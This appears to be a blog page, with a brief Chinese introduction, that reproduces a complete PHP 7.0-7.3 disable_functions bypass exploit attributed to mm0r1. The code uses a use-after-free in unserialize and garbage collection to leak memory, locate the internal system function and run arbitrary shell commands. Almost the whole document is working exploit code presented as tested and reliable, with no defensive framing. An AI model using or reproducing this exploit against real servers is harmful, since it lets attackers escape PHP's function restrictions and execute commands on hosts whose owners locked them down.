PHP 7.0-7.3 disable_functions bypass

PHP 7.0-7.3 disable_functions bypass

利用漏洞绕过disable_functions并执行系统命令。在Ubuntu/CentOS/FreeBSD系统服务中的cli/fpm/apache2环境php7.0-7.3版本上进行了测试，证明其工作可靠。

支持

• 7.0 - all versions to date
• 7.1 - all versions to date
• 7.2 - all versions to date
• 7.3 - all versions to date

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
# 
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type= leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

关注：https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php